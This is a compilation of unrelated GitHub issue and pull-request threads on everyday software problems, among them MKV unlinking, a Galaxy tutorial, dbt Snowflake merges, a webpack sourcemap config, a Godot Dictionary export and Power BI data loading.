https://github.com/hilts-vaughan/UnlinkMKV-GUI/issues/2#issuecomment-109784153
.

Yup, I followed all the instructions.

Are you sure the input folder has MKVs in it?
On Sun, Jun 7, 2015 at 5:18 PM, Yoggedy<EMAIL_ADDRESS>wrote:

Yup, I followed all the instructions.
—
Reply to this email directly or view it on GitHub
https://github.com/hilts-vaughan/UnlinkMKV-GUI/issues/2#issuecomment-109800272
.

Yeah, I'm trying to unlink The Tatami Galaxy.

Also having the same issue as Yoggedy.

Sorry for the long delay @Yoggedy
Could you try this new release? https://github.com/hilts-vaughan/UnlinkMKV-GUI/releases/tag/0.1.4

Oh man, I love you for this, it works!
I can now convert so many more series for my tablet! Thank you so much!

@Yoggedy Great to hear, if you find any bugs with specific series come back and file a bug and I'll have it fixed faster this time.
Closing this up.


Using dataset collections - a bit outdated

The Using dataset collections tutorial can be followed on 21.01 but there are some small issues:

Most of the screenshots are outdated.
There is a screenshot at the beginning of the Retaining ‘proper pairs’ section that seems unrelated to the tutorial or, at least, it confuses me since the tool and the parameters don't match the explanation:

The IGV file in the last step can be downloaded using Firefox. Using Chrome, the new tab closes automatically and the file doesn't download. I don't know if it is worth mentioning in the tutorial or if it working for others in Chrome.

Unfortunately why we heavily discourage screenshots due to the outdatedness, but certain authors use them nonetheless.
It'd be great to get this updated if anyone has time, it's such a key feature to teach students.

Stumbled over the same thing and a few more:

the screenshot is completely wrong .. just does not belong here
Filter SAM or BAM is now samtools view

Also instead of mixing samtools and picard I would suggest

instead of MergeSamFiles from the Picard suite samtools merge
also downsampling can be done with samtools view

I'll work on it!

I'll work on it!

It seems that all the suggestions have been already fixed in:

https://github.com/galaxyproject/training-material/pull/2722/files
https://github.com/galaxyproject/training-material/pull/2738

It can be closed I guess @hexylena.

I guess so! fantastic


Install velero

Install velero to test backup and recovery

Is Installed in amy tested and works.
We can create backups on MinIO (MinIO API has to be running on root path ie. http://localhost:9000 not  http://localhost:9000/minio-api)
We can restore namespaces including PVs


Fix package renaming in CI

commit 11c4c6cd5415a1ad7f59b84eb2ea1c83e3c25737 (HEAD -> fix-renaming-nsis, origin/fix-renaming-nsis)
Author: Felipe Olmos<EMAIL_ADDRESS>Date:   Tue Mar 5 19:04:55 2024 +0100
Allow CI failure for unsupported Debian versions

We use `continue-on-error` for certain steps of the testing packages for
Debian 11 and 12. This way the CI is green even though in these OS the
packages fail on basic tests.

commit bfa6aa362d684472a48290c431f87aa99b287fc2 (tag: 10.2.1)
Author: Felipe Olmos<EMAIL_ADDRESS>Date:   Mon Mar 25 10:25:32 2024 +0100
Fix package renaming in CI

The release part of the packaging workflows contain a renaming step to
make sure it coincides with the tag. This patch makes sure that this is
only made when the source version is different from the tag.

LGTM I am not very satisfied with the continue-on-error for the debian but I don't have better ideas

Me neither :(


[CT-453] Add support for WHEN NOT MATCHED, INSERT incremental update option for Snowflake

Describe the feature
With Snowflake, we have a table that should be append only, so we don't need to merge old results, only do this:
https://docs.snowflake.com/en/sql-reference/sql/merge.html#deterministic-results-for-insert
WHEN NOT MATCHED ... THEN INSERT

This means we won't get duplicates for the unique_key set in dbt.
Describe alternatives you've considered
Just using the merge, but this can take a while.
Additional context
This is great for event tables where it's a table with extra processing done to it. Kind of like a materialized view.
Who will this benefit?
Users who have event tables that don't change, or have metadata tables that don't change.
Are you interested in contributing this feature?
Yes, and happy to champion this feature and document it.

Hey @joshuataylor, thanks for opening! Have you tried defining an incremental model without a unique_key? That has the effect of running insert into, i.e. "append-only":
https://github.com/dbt-labs/dbt-snowflake/blob/184eaeb3fa65fb4090d811ea0fa6b7da3ea94574/dbt/include/snowflake/macros/materializations/merge.sql#L1-L23
On dbt-spark, we have an explicit incremental strategy named append for this behavior. On most other adapters, this behavior is implicitly supported via one of the existing strategies when unique_key is not defined. Might make a lot of sense to rationalize this behavior across adapters! (cc @VersusFacit)

Removing the unique_key sounds like a good quickfix, but the WHEN NOT MATCHED will then not insert if the record accidentally is in the resultset.

Ah! Sorry, I misunderstood the original issue — you're totally right.

Just using the merge, but this can take a while.

It sounds like performance is your main motivation here. A couple options to try:

You can try using the delete+insert strategy instead. Anecdotally, some users have found this to be faster
There's an open PR that proposes to speed up the merge strategy by using a view instead of a temp table for the intermediate results: https://github.com/dbt-labs/dbt-snowflake/pull/93
Your proposal in this issue: We could add logic here saying that, if the user has configured merge_update_columns = [] (docs), dbt should totally skip templating the when matched then update set statement. In the meantime, you could try this with just merge_update_columns = ['id'] (or whatever your unique_key column is named), to see if that speeds things up. My hunch is that the row-by-row unique_key match is the more expensive part of the operation, relative to the column-by-column update — but I could be wrong, and even so, every little bit may help.

Sounds great, will have a look at the delete+insert
With regards to last point, yes, when using the when matched part is very slow with Snowflake, and using insert only is MUCH faster - atleast from our testing on 50m rows/800m rows.

I have a similar requirement, I want to do a merge to insert records if they do not exist yet, without updating them.
The problem with adding the unique key to the merge_update_columns is that you are now needlessly updating records which is bad for performance.
I think that making sure that when merge_update_columns = [], then no when matched then update set statement is added is the best solution.


Use alsamixer instead of software mixer by default

Taken from https://github.com/woutervanwijk/Pi-MusicBox/issues/216#issuecomment-78213008

There is no problem if I use AirPlay, but via the webinterface 3/100 is loud as 50% via AirPlay.
Yesterday I found a solution.
I changed in /boot/config/settings.ini from "mixer = software" to "mixer = alsamixer" and
[alsamixer]
card =
control =
to
[alsamixer]
card = 1
control = Master

I think setsound sets the hardware volume to 96%. The default software mixer is set to 85% and this should just reduce Mopidy's volume going into the hardware. Switching to alsamixer will not do any software mixing and so the volume across the whole system should be the same. I'm not sure sure why we don't just default to use the alsamixer (and make setsound adjust the alsamixer config accordingly).
But that said, I would have though the sofware mixer volume should have reduced the volume, not increased it....

I also can confirm this issue too. If we can't get mopidy's volume at a decent level, could we just get shairport's output to a tad louder, that would be awesome.

Related to this with a possible solution is https://discuss.mopidy.com/t/pi-musicbox-volume-control-for-amp-hat-not-working-with-spotify-connect/1840


Differentiate between number and float64; and text and string

The runtime errors epic highlighted that if you return number we actually only have errors that refer to it as a float64. Similar issues with text/string. So, we should probably create alias wrapper type things that let us distinguish between the two. Then we should update the error messages so that they actually say the right thing.
Specifically, we need to handle:

[ ] string and text
[ ] number and float64
[ ] BigInt and Int

Null/Undefined might also be related to this but I'm less sure on that.

Might be related to https://github.com/demergent-labs/azle/issues/1118


fix: Incrememnt Fedora/Nvidia version in Containerfile

Local Nvidia 525 builds fail and run local podman builds against Fedora 38 instead of 37 as that's the current release
These changes have no impact on CI as these parameters overriden there

Addressed in the 535 update


Why is the chain loss computation so slow?

When I trained the model by ChainObjtiveFunction, I found the chain loss computation is very slow. For example, the data load time is 0.2s, the model forward time is 0.2s, but the loss computation time is 8.2s. I wonder why the chain loss computation is so slow and how to accelerate it? Thanks!

Do you enable CUDA like this when invoke ChainObjtiveFunction?

Thanks for pointing out this. I have not fully tested the chain function yet, as I'm working on a few other aspects currently. Currently, it only works with batchsize as 1. I think @glynpu made a good point. It is possible that I have missed this, and hence why it is slow now. To fully utilize the chain objective, I need to implement another dataloader that can prepare minibatches like Kaldi does, e.g., 128 sequences of 1.5 second of audio with supervisions. Currently I do not have time to do that yet, but will work on that as long as I get my hands free.

Hi @bliunlpr
I double checked by my setup, and it takes around 1s to compute the loss for each utterance. Is the 8.2s that you mentioned corresponds to the computation of one utterance?

Thanks for your reply. @glynpu made a good point. I have added the lines to enable CUDA. Now the loss computation time is about 0.5s. Thanks again!  @glynpu jzlianglu

@bliunlpr , great, would you like to push your changes to the main branch?

I have added it, its in pull requests. @jzlianglu

@bliunlpr , thanks, will test it.

Added CuDevice activation for LFMMI loss computation for significant speed improvement.


esp_timer软件定时器 (IDFGH-12699)

Answers checklist.

[X] I have read the documentation ESP-IDF Programming Guide and the issue is not addressed there.
[X] I have updated my IDF branch (master or release) to the latest version and checked that the issue is present there.
[X] I have searched the issue tracker for a similar issue and not found a similar issue.

General issue report
软件定时器的回调函数，有时候会停止运行一段时间。之后有正常回调。请问什么原因会引起这个问题呢？谢谢

Hello @heyangxinmei ,
In order to help you, I have a few questions:

Which target (ESP32, S2, S3.. ?) are you running this on?
Which version of IDF are you using?
How did you notice that it stopped sometimes?
What about the output on the UART?
Do you have a small reproducible example?

esp32s3

esp32s3  2. idf v4.4.5  3. 通过日志观察到的计数值不增加了。4. 通过串口输出日志

esp32s3 2. idf v4.4.5 3. 通过日志观察到的计数值不增加了。4. 通过串口输出日志  是有比软件定时器优先级的任务运行引起的吗？

Yes, the callback is called from a task with ESP_TASK_TIMER_PRIO, so there could be tasks with a higher priority (e.g. BT)

会停止运行一段时间

How long is 一段时间? Is the callback delayed a few ms, or is it multiple seconds? Are you using power-management/sleep in your application?
It is also possible to dispatch the callback directly from the ISR: https://docs.espressif.com/projects/esp-idf/en/latest/esp32/api-reference/system/esp_timer.html#using-the-interrupt-dispatch-method

Closing this issue due to lack of activity. Feel free to re-open if there is any new information


Sourcemaps not generated

config:
const path = require('path');
//var devServerPort = require('./src/config/index.config.js').serverConfig.webpackDevServerPort;
var devServerPort = 8080;
var webpack = require('webpack');
var WebpackIsomorphicToolsPlugin = require('webpack-isomorphic-tools/plugin')
// note the different casing here for variables
var webpackIsomorphicToolsPlugin = new WebpackIsomorphicToolsPlugin(require('./webpack/isomorphic.config'));
var ExtractTextPlugin = require('extract-text-webpack-plugin');
module.exports = {
entry: {
main: [
'webpack-dev-server/client?http://localhost:' + devServerPort,
'webpack/hot/only-dev-server',
'./src/app',
'./src/scss/main.scss'
]
},
output: {
path: path.join(__dirname, 'dist'),
filename: 'app.bundle.js'
},
module: {
loaders: [
{ test: /.js$/, loader: 'babel-loader', exclude: /node_modules/ },
{ test: /.jsx$/, loader: 'babel-loader', exclude: /node_modules/ },
{ test: /.(sass|scss)$/,  loader: ExtractTextPlugin.extract(['css-loader', 'sass-loader'])}
]
},
devtool: 'inline-source-map',
plugins: [
new webpack.DefinePlugin({
'process.env.NODE_ENV': JSON.stringify('development')
}),
webpackIsomorphicToolsPlugin.development(),
new webpack.HotModuleReplacementPlugin(),
new ExtractTextPlugin('./css/app.css', {
allChunks: true
})
],
resolve: {
extensions: ['.js']
}
};

Are you expecting separate sourcemap files? You current configuration writes them inline (in the source files).
Please note that the issue tracker isn’t used for support as mentioned in the issue template. If you think it’s a bug, please re-open with all the information required by the template.

They aren't picked up by the browser. changing to 'source-maps' generates in the dist, but the browser cannot pick it up and open the source.

Ok, better go through Stack Overflow still. In any case, it's a good idea to provide an example people can run as otherwise it's guesswork.


Cannot export Dictionary in 3.0

Godot version:
Godot 3.0 20a52aa
Issue description:
According to this and this, the new debugger PR was supposed to add Inspector editing for exported Dictionary variables, but I can't seem to make this work.
Steps to reproduce:

Create any scene. Add a root node. Add a built-in script:
export(Dictionary) var dict = {}

Examine the node in the scene. Click the right-arrow next to the Dictionary property. The DictionaryPropertyEdit won't have anything but a Reference section with the Script variable.

I'd also like to know what's going on with this.

DictionaryPropertyEdit can only change value. The key is read-only. (for now)
https://github.com/godotengine/godot/blob/6db60c03a9942ba766f52f6a4ae5f157e2edbd42/editor/dictionary_property_edit.cpp#L42-L46
It is supposed to work if you export Dictionary with some values, but there's another bug. Exported dictionaries are saved in the scene file as null.
Node.tscn:
dict = null

It should be now fixed with the new inspector (though it is slightly crashy, but still works).

It is supposed to work if you export Dictionary with some values, but there's another bug. Exported dictionaries are saved in the scene file as null.

To be fixed by #19635 (the GDScript part of the changes).


FAQ - Update currrent app version in gulpfile

Fixes #559

If CWA Android V1.6.1 is now being released (see https://github.com/corona-warn-app/cwa-app-android/releases/tag/v1.6.1) then an update to the update in gulpfile.js will be necessary.


Properly attach inner attributes in Attrs::new

Properly attach inner and outer attributes to the things they actually belong to in the HIR. I can add some tests for this if wanted once I know where to put them/how to test for this.
I can confirm that this does work(at least for comments) as the following snippet
mod foo {
	//! Hello
}

shows me Hello on hover 🎉
Fixes #2148

THIS. This makes me happy.

While it's not scoped to this specific spot in the code you could put some tests in hover or somewhere else where we render doc comments so we know that we don't break anything there going forward.

That doesn't seem to be a bad place given that also allows testing attributes by using the attribute form of docs.

bors r+


Load errors into Power BI dashboard

When trying to load the data into PowerBI, everything works for the "TenantSecurityReport" template, but for the "TenantSecurityInventoryReport" I receive many errors like the ones below:
Loading blocked by failures with other queries.
Web.Contents failed to get contents from 'https://api.loganalytics.io/v1/workspaces/0000000000000000000000/query?query=let LatestJobId %3D toscalar ( AzSK_SecureScoreControls_CL | where TimeGenerated > ago(1d) | summarize arg_max(JobId_d%2C*)| project  JobId_d)%3B
AzSK_SecureScoreControls_CL
| where JobId_d %3D%3D LatestJobId
| summarize arg_max(TimeGenerated%2C *) by Id_s
| summarize count() by CollectionTime %3D bin(TimeGenerated%2C15s)&x-ms-app=OmsAnalyticsPBI&prefer=ai.response-thinning%3Dtrue' (400): Bad Request
There is already an issue opened (and closed ???, but with no resolution) about this problem: https://github.com/azsk/AzTS-docs/issues/122
Thanks!

Hi @pasasorin, thank you for trying out AzTS. Can you please confirm if both TenantSecurityReport template and TenantSecurityInventoryReport template are pointing to the same Log Analytics Workspace (Same WorkspaceId provided while loading data into both the templates)? If yes, can you please try running couple of Log analytics queries from inventory template and see if data is present?

If you are trying for scheduled refresh, please check whether Log Anlytics workspace Id is replaced for all queries (a[4] step from here). Please let us know if this helps.

@Aboli-msft thank you for your answer, the templates are pointing to the same LA workspace. It seems that most of the issues come from the fact that tables are missing (like, for example, the table "AzSK_SecureScore_CL" or "AzSK_SSAssessmentAdditionalMetaData_CL"). Any idea why this might have happened?

Can you please check if Microsoft Defender for Cloud is enabled for subscriptions getting scanned via AzTS setup?

You are correct, it is not enabled. I am working in my Visual Studio Enterprise subscription, and I have not enabled Defender.
Thank you for your support!


Any way to check when a cell in section display on screen?

New issue checklist

[x] I have reviewed the README and documentation
[x] I have searched existing issues and this is not a duplicate

General information

IGListKit version: 3.0
iOS version(s): 10.x
CocoaPods/Carthage version: Cocoapods 1.2.1
Xcode version: 8.3
Devices/Simulators affected: iOS 10.3 simulator - iphone 7
Reproducible in the demo project? (Yes/No):
Related issues:

Hi, is there any way to know when a cell in section appear like previous delegate function of UICollectionView does:
- (void)collectionView:(UICollectionView *)collectionView willDisplayCell:(UICollectionViewCell *)cell forItemAtIndexPath:(NSIndexPath *)indexPath

I just want perform some animation when cell appear to screen.

You can still add yourself as a delegate :)
Just see this part in the documentation on IGListAdapter:
https://instagram.github.io/IGListKit/Classes/IGListAdapter.html#/c:objc(cs)IGListAdapter(py)collectionViewDelegate

@heumn thank you, but I see the code:
IGAssert(![collectionViewDelegate conformsToProtocol:@protocol(UICollectionViewDelegateFlowLayout)],
             @"UICollectionViewDelegateFlowLayout conformance is automatically handled by IGListAdapter.");

In case, I use UICollectionViewFlowLayout, how can I do that.


Replace ffi-napi and ref-napi with BCryptGenRandom executable

This should probably only be merged after I've gotten codesigning set up for the executable, although I've uploaded an unsigned copy to the blob storage for now.

[ ] Pull request represents a single change (i.e. not fixing disparate/unrelated things in a single PR).
[ ] Title summarizes what is changing.
[ ] Has a news entry file (remember to thank yourself!).
[ ] Appropriate comments and documentation strings in the code.
[ ] Has sufficient logging.
[ ] Has telemetry for enhancements.
[ ] Unit tests & system/integration tests are added/updated.
[ ] Test plan is updated as appropriate.
[ ] package-lock.json has been regenerated by running npm install (if dependencies have changed).

Sorry, forgot that the exe needs to be compiled for ARM, so this PR is not ready for review yet. (Although you're free to comment on other aspects while I address the compilation issue).


[FAB-17192] Add unit tests for executeCommitter and commitUpdates

Signed-off-by: Chongxin Luo<EMAIL_ADDRESS>

Type of change

Test update

Description

Added statecouchdb unit test for executeCommitter and commitUpdates functions.

Additional details

Related issues

FAB-17192

Thanks @DereckLuo and @cendhu for additional review.


Extract scheduler discoverer from cluster_info

What do these changes do?
Add StaticSchedulerDiscoverer and KVStoreSchedulerDiscoverer to handle initializing services with static scheduler lists and kv-store respectively.
Related issue number
Fixes #609

Shall this PR be backported?


Multiple notifications

They start taking an enormous amount of space on my little 13" screen.
I believe the old ones should be removed in favor of the new, updated one.

Yeah, this is really inconvenient and not intended. I have not found a reproduction path, and it only happened once on my machine. So if you have any idea how to reproduce, please let me know.On 10 Jun 2024 08:07, Piotr Krzemiński @.***> wrote:
Screenshot.2024-06-10.at.08.06.00.png (view on web)
They start taking an enormous amount of space on my little 13" screen.
I believe the old ones should be removed in favor of the new, updated one.
—Reply to this email directly, view it on GitHub, or unsubscribe.You are receiving this because you are subscribed to this thread.Message ID: @.***>

What is the version of the plugin you are using? And what is the content of file .idea/ktlint-plugin.xml in the project that reproduces the problem?

Duplicate of #522


rotation:degrees= ?

Is there an option to specify how much you want the FAB to rotate when pressed?

No there is not.